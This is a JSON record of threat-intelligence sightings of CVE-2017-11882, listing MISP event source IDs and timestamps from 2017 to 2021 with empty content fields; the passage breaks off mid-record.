{"vulnerability": "CVE-2017-11882", "sightings": [{"uuid": "5f494b6a-a8bd-41f3-ba43-90d21e5390f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b0d3b84-c848-45f3-84ba-3cd60a950b0c", "content": "", "creation_timestamp": "2018-05-29T12:11:33.000000Z"}, {"uuid": "97708418-3b60-4283-ad46-c565b8a335e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b178e0a-51ac-4584-b1b8-644dac100a5a", "content": "", "creation_timestamp": "2018-06-06T07:34:20.000000Z"}, {"uuid": "3deabd89-394f-4f9c-ad87-b7e4c2b02887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a705622-e07c-4dfe-9bd1-7ff9ac12042b", "content": "", "creation_timestamp": "2018-01-30T11:51:35.000000Z"}, {"uuid": "7382b25f-39aa-4000-a5ad-08a84868ecd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a4926de-2b2c-4491-b75b-25cf950d210f", "content": "", "creation_timestamp": "2017-12-31T18:15:55.000000Z"}, {"uuid": "704d148b-fa68-4f77-b304-365bf3a8c2ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b58311f-df38-4c0f-a1dd-4655950d210f", "content": "", "creation_timestamp": "2018-07-25T13:13:38.000000Z"}, {"uuid": "b4cc84c7-9dce-40c6-aefd-a85eee5bda3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b61a496-b034-4321-9406-e0330acd0835", "content": "", "creation_timestamp": "2018-08-01T12:22:29.000000Z"}, {"uuid": "95fc64e1-4ed7-4f59-bec9-6395e08b2f97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5efc266c-fac0-4344-9c35-4deeac13a7a7", "content": "", "creation_timestamp": "2020-07-01T06:04:28.000000Z"}, {"uuid": "137d4873-e08f-4d1e-ad6b-3890ba9df7d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a17d980-5438-4503-ba89-693b0a950b0c", "content": "", "creation_timestamp": "2017-11-24T08:39:55.000000Z"}, {"uuid": "99ea52b0-834a-43b3-bf88-1e58d7afb866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a1bd660-1a0c-4a41-9005-69000a950b0c", "content": "", "creation_timestamp": "2017-11-27T09:11:32.000000Z"}, {"uuid": "7f2e51bc-f8db-44cf-9f41-d2f80720123f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a1d7036-38f8-46e4-a9cb-67eb0a950b0c", "content": "", "creation_timestamp": "2017-11-28T14:34:26.000000Z"}, {"uuid": "e1ca0181-57a5-4e95-87d0-e6d53673a0bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a25117c-6260-44a1-91b4-489d02de0b81", "content": "", "creation_timestamp": "2017-12-04T09:44:53.000000Z"}, {"uuid": "9130e6ef-4ebd-4dd6-bd8f-5502c2d4d81d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a2b0fe8-6900-412e-a9b6-2facc0a8ab16", "content": "", "creation_timestamp": "2017-12-08T22:22:48.000000Z"}, {"uuid": "f89633a9-f66d-4724-8646-78d24693c899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a69fdaf-0350-429a-b961-062f02de0b81", "content": "", "creation_timestamp": "2018-01-25T16:05:44.000000Z"}, {"uuid": "5d245d3d-2ba0-4e68-8363-254a9596dec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5a6dcba3-ecf8-4ad8-bf80-6a279f590eb0", "content": "", "creation_timestamp": "2018-01-28T13:26:14.000000Z"}, {"uuid": "5117ed11-51f9-4f88-ace6-3749a1eb2607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5ab3b89e-7514-41b4-b842-402f02de0b81", "content": "", "creation_timestamp": "2018-03-22T14:09:47.000000Z"}, {"uuid": "8abbb229-0cf3-4a99-9337-b188fed0865d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5aba062a-8118-4885-afe0-469402de0b81", "content": "", "creation_timestamp": "2018-03-27T09:05:06.000000Z"}, {"uuid": "62090b9b-0f3a-42dc-bb3b-e5a7b7b521a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5acb070c-5f6c-420d-95ba-69f89f590eb0", "content": "", "creation_timestamp": "2018-04-09T06:53:26.000000Z"}, {"uuid": "deceacc4-28dd-4113-b353-8fce9a0a1b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5ad6e23e-c604-42a5-aa15-49b5950d210f", "content": "", "creation_timestamp": "2018-04-18T06:15:35.000000Z"}, {"uuid": "68753bdd-2fc1-4c24-aa4d-c80a258b016d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bc5fbce-03d0-49d2-8123-66110a021402", "content": "", "creation_timestamp": "2018-10-16T15:09:42.000000Z"}, {"uuid": "0e24b55b-804b-47c5-8231-fcfddbf45ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bc8e055-90c0-43dc-a3d5-2f5d0a021402", "content": "", "creation_timestamp": "2018-10-18T19:42:55.000000Z"}, {"uuid": "213f2607-4f56-40d4-bcca-e7313a0e8f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5c4acb8c-9bc4-45ea-83be-6a65ac12042b", "content": "", "creation_timestamp": "2019-01-30T11:07:33.000000Z"}, {"uuid": "08235cac-6632-4745-ba06-e08182640f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bbcf3f2-c6c4-4eae-934c-1432c0a80108", "content": "", "creation_timestamp": "2018-10-09T18:54:54.000000Z"}, {"uuid": "8a1762f6-2daa-46c2-a6a6-c63c231acefb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bc58db1-fe94-4502-aa7f-7a48ac100a5a", "content": "", "creation_timestamp": "2018-10-16T07:14:45.000000Z"}, {"uuid": "6466a392-8e6c-4df3-85ef-4988cc06e278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bcdf099-b974-4a79-a8b9-4374c0a80108", "content": "", "creation_timestamp": "2018-10-22T15:57:12.000000Z"}, {"uuid": "9550429a-c90b-4307-8ca3-be60bbc1426f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5bcee496-99f4-4425-b757-3dbfd5d09a03", "content": "", "creation_timestamp": "2018-10-23T09:09:10.000000Z"}, {"uuid": "53aacca8-1a92-4ea6-a667-76c20c1e9780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5afbda67-9d80-4bcf-ae91-33feac100a5a", "content": "", "creation_timestamp": "2018-05-16T07:15:33.000000Z"}, {"uuid": "5f69a11c-fc81-4bd0-8b8f-9430fdd0a7ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-118822", "type": "seen", "source": "MISP/5b221ee1-8dcc-43cc-bb0b-681aac12042b", "content": "", "creation_timestamp": "2018-06-14T08:44:21.000000Z"}, {"uuid": "13ec6775-32a1-4221-82be-1ecb1d479bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b6c27c8-a044-4aa6-81c1-085fac12042b", "content": "", "creation_timestamp": "2018-08-09T11:48:57.000000Z"}, {"uuid": "42d6449f-f063-4d31-80a8-b19ab24314ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5b768d19-6320-4b9a-b821-6aa2ac12042b", "content": "", "creation_timestamp": "2018-08-17T10:17:34.000000Z"}, {"uuid": "00fe42bc-8ac3-4d90-9056-36a9480e449c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5be140f8-5124-40fa-8c32-5e2eac12042b", "content": "", "creation_timestamp": "2018-11-06T07:29:55.000000Z"}, {"uuid": "6dd71e43-7cdf-4740-9b24-6b9dc147bff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5c38dcbb-64fc-4036-9ff6-12410a021402", "content": "", "creation_timestamp": "2019-01-11T18:26:14.000000Z"}, {"uuid": "a4be6d59-4319-407f-be9d-f90c8d5bf9e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5ddc086f-42d0-4308-a0ca-0ef1ac1e0d58", "content": "", "creation_timestamp": "2019-11-25T17:03:49.000000Z"}, {"uuid": "589bcb06-a2af-422e-b98a-e49ee01da5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5ddcdb6f-43bc-49d7-bbc9-34a50a3b4631", "content": "", "creation_timestamp": "2019-11-26T08:04:49.000000Z"}, {"uuid": "80d7e990-7eb7-4b9b-8248-0931a269d3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5c6c2bf0-560c-4fea-bd89-1638c0a80108", "content": "", "creation_timestamp": "2019-02-19T16:22:10.000000Z"}, {"uuid": "f30b4229-50d0-466f-ad52-ae9fd1929863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5cd00a4e-1b14-4330-b51b-406602de0b81", "content": "", "creation_timestamp": "2019-05-06T10:25:15.000000Z"}, {"uuid": "11b9913c-c05c-493e-9597-093f650510a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5d93318a-d674-441a-aadf-65220a3b4631", "content": "", "creation_timestamp": "2019-10-01T11:00:06.000000Z"}, {"uuid": "c9989d63-9744-4602-b4c4-40ecb2f0d570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5dc42bcc-a46c-42f4-b473-407e950d210f", "content": "", "creation_timestamp": "2019-11-07T15:11:06.000000Z"}, {"uuid": "a55a8635-89c0-47fd-b4b9-8e326b6b5216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5dd69dde-1794-49b3-bacb-4cec950d210f", "content": "", "creation_timestamp": "2019-11-29T15:31:52.000000Z"}, {"uuid": "c5c8f1c2-6c71-4ca4-bdff-ae05b89e61e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/be3d068b-0f2b-416f-a6db-b252594f8cc3", "content": "", "creation_timestamp": "2020-12-09T17:27:40.000000Z"}, {"uuid": "dbeffef4-4fdc-4976-a890-9d8bba33dee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/114d8ab6-29fb-4d33-84d9-72005bc3371c", "content": "", "creation_timestamp": "2021-02-10T10:25:15.000000Z"}, {"uuid": "4feed987-85e4-4808-b4fc-9d09e2c8056b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/8106948a-f7c1-4454-b495-9889083755a5", "content": "", "creation_timestamp": "2020-11-01T17:11:54.000000Z"}, {"uuid": "785d0b43-a1b6-4dd8-8721-4699791f6a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d2c6a988-f6e8-422f-8df4-21e5b61e245a", "content": "", "creation_timestamp": "2020-08-04T08:47:51.000000Z"}, {"uuid": "da4a5a01-96a1-4200-a67e-f3ca27fc9738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5e6f46d6-d104-4a35-83e7-965402de0b81", "content": "", "creation_timestamp": "2020-03-16T09:32:28.000000Z"}, {"uuid": "f34bac0a-87cb-4933-b8d8-ba23a4e8cd6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5e728038-af3c-4872-b5ac-26229de67855", "content": "", "creation_timestamp": "2020-03-18T20:13:49.000000Z"}, {"uuid": "d8d7f06d-d308-4343-9a85-1260bb6791ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5e761095-13f8-422c-837a-4aa60a0a020f", "content": "", "creation_timestamp": "2020-03-21T13:10:22.000000Z"}, {"uuid": "e23b4a99-4d92-4917-b521-e3fcc84109c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/36b8470b-ace9-416e-9994-ca272e4e6f1e", "content": "", "creation_timestamp": "2020-11-06T15:43:42.000000Z"}, {"uuid": "7a672df9-64a8-4e9c-bc03-dd98669c3093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/24ec2a55-918e-4b0b-a741-7ae563846532", "content": "", "creation_timestamp": "2020-06-18T07:21:19.000000Z"}, {"uuid": "189d1030-cac8-49be-aeba-e5af73f588f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/8c44b315-a146-4e13-baac-996ba98bbf40", "content": "", "creation_timestamp": "2021-02-15T21:21:45.000000Z"}, {"uuid": "522d1fa0-6742-4d4e-bb6e-4df521201c1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/57e9b7f2-a7b4-427a-be71-529fa64d2bf3", "content": "", "creation_timestamp": "2021-05-18T05:56:35.000000Z"}, {"uuid": "746a6cf2-f072-4a5b-bd91-e64353a65d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "7eb63831-9821-4974-b61e-fa60ba5126f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/a63a6395-0a67-4cf9-9459-1a2118cb34e7", "content": "", "creation_timestamp": "2021-09-22T13:09:33.000000Z"}, {"uuid": "3e4c51fb-d2de-48ad-985c-d472e0b38286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/1d8b712a-a50a-49fe-977b-126a82365f74", "content": "", "creation_timestamp": "2020-10-09T13:21:09.000000Z"}, {"uuid": "99807967-eb02-4003-921d-10f83740c8c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/c94a7e1a-4647-47b3-8fb7-3088e73b47b9", "content": "", "creation_timestamp": "2020-10-09T15:54:14.000000Z"}, {"uuid": "681ff0c0-e030-4393-bb54-e469a27fa94e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/411231aa-968d-42ae-a528-91e76e2a7b49", "content": "", "creation_timestamp": "2020-10-09T16:33:18.000000Z"}, {"uuid": "88d51ccd-7635-4848-9a62-608710045011", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d7eefbe0-1a27-4e85-9a5f-ebf892bf9895", "content": "", "creation_timestamp": "2020-10-09T14:29:21.000000Z"}, {"uuid": "b05e56c8-7d66-4aec-82e5-f042934cca54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/6c533960-4b19-43bd-88d2-e3ff3bef6716", "content": "", "creation_timestamp": "2020-10-09T14:12:44.000000Z"}, {"uuid": "7f065a08-b9d6-4f36-b637-35cb9460328a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d0b6849d-1dfc-4bbc-b36c-1d22340394d3", "content": "", "creation_timestamp": "2020-10-09T14:12:41.000000Z"}, {"uuid": "3405da15-ae66-44cd-818b-366163088e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/0cbad1e3-4b6d-413f-a234-8939127e7112", "content": "", "creation_timestamp": "2020-10-09T13:51:49.000000Z"}, {"uuid": "287f8d42-27c2-4e05-a9e7-f664c80e08ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "3a3a8190-959b-4025-adef-b807facd50c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-118822", "type": "seen", "source": "MISP/8775b2b9-aeeb-4fff-b4d1-b4ce5e8db73c", "content": "", "creation_timestamp": "2020-10-09T14:27:18.000000Z"}, {"uuid": "d0f66d65-c5b5-4abd-b123-76001fb34919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/6156260c-d3a1-4055-aaa9-e856b15171e1", "content": "", "creation_timestamp": "2020-10-09T13:29:44.000000Z"}, {"uuid": "ca9aa311-37c0-42a1-9deb-c3fe94e3d928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/74da0fb4-516b-4411-bb19-fe04909140c1", "content": "", "creation_timestamp": "2020-10-09T13:28:11.000000Z"}, {"uuid": "3242382b-0f99-4a7a-8a3b-673e94b3d052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/0c14b3ef-9e1e-4060-8626-5e1e5c43b5db", "content": "", "creation_timestamp": "2020-10-09T14:39:28.000000Z"}, {"uuid": "aea747d3-a34a-4c7c-98e8-69a5333a2987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/045668fa-07bd-434f-9daf-8df514111a2a", "content": "", "creation_timestamp": "2020-10-09T15:47:48.000000Z"}, {"uuid": "e40f8cb4-13e1-4769-8aad-7ba1df64148f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/7be1b70f-0f74-4e54-9a75-441653b92cab", "content": "", "creation_timestamp": "2020-10-09T16:16:48.000000Z"}, {"uuid": "49b22ddd-9e96-4399-93d4-1ff86ad978d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/8c353b74-b5a7-412e-b97c-2d44c04eb63f", "content": "", "creation_timestamp": "2020-10-09T15:26:56.000000Z"}, {"uuid": "d1862e3c-d56b-4db1-8bd8-72d23a600b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/059ee157-149f-4da5-a35c-ed92120e8cfd", "content": "", "creation_timestamp": "2020-10-09T16:33:20.000000Z"}, {"uuid": "e5848901-9d0b-4b1e-8a02-691f5bfd0602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/7ea48e81-db85-4da4-9cc0-7a43192e04de", "content": "", "creation_timestamp": "2020-10-09T16:21:59.000000Z"}, {"uuid": "e64bb4d9-2ed9-4004-92c6-e5563ab8b7ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/8fd38f16-e756-4358-b8db-b4e0484f57eb", "content": "", "creation_timestamp": "2020-10-09T15:26:38.000000Z"}, {"uuid": "f6123593-e75d-4a26-9461-7be7da74f90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/1fa7ef9a-3160-4379-a3f7-4ac37e33e1f4", "content": "", "creation_timestamp": "2020-10-09T14:38:57.000000Z"}, {"uuid": "84c9e7aa-2d90-4fcd-8981-e58257c70e53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/40ec4bc3-8450-4015-a1f9-6efa079d0aa7", "content": "", "creation_timestamp": "2020-10-09T13:48:17.000000Z"}, {"uuid": "17edad83-2cf3-4d82-a4d1-bfd0552c1fa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/0ae81f7f-ff99-4f98-8b94-2834b8f7c7e1", "content": "", "creation_timestamp": "2020-10-09T14:33:58.000000Z"}, {"uuid": "4a1da5d4-7a74-4571-87f7-83c5a40f2937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/2a330185-520a-4481-b9f3-928cd6c2dc8d", "content": "", "creation_timestamp": "2020-10-09T16:07:49.000000Z"}, {"uuid": "957943a5-d89d-48a4-b0e0-e445b7cb5002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/175c17b6-e9e0-43bd-9661-d5a698d8b38c", "content": "", "creation_timestamp": "2020-10-09T13:48:02.000000Z"}, {"uuid": "c96d6be5-9ff6-4a89-9a7e-d1536bfea02e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/c6bbcc2c-7ce4-4de9-bee7-051cc4574c58", "content": "", "creation_timestamp": "2020-10-09T15:48:55.000000Z"}, {"uuid": 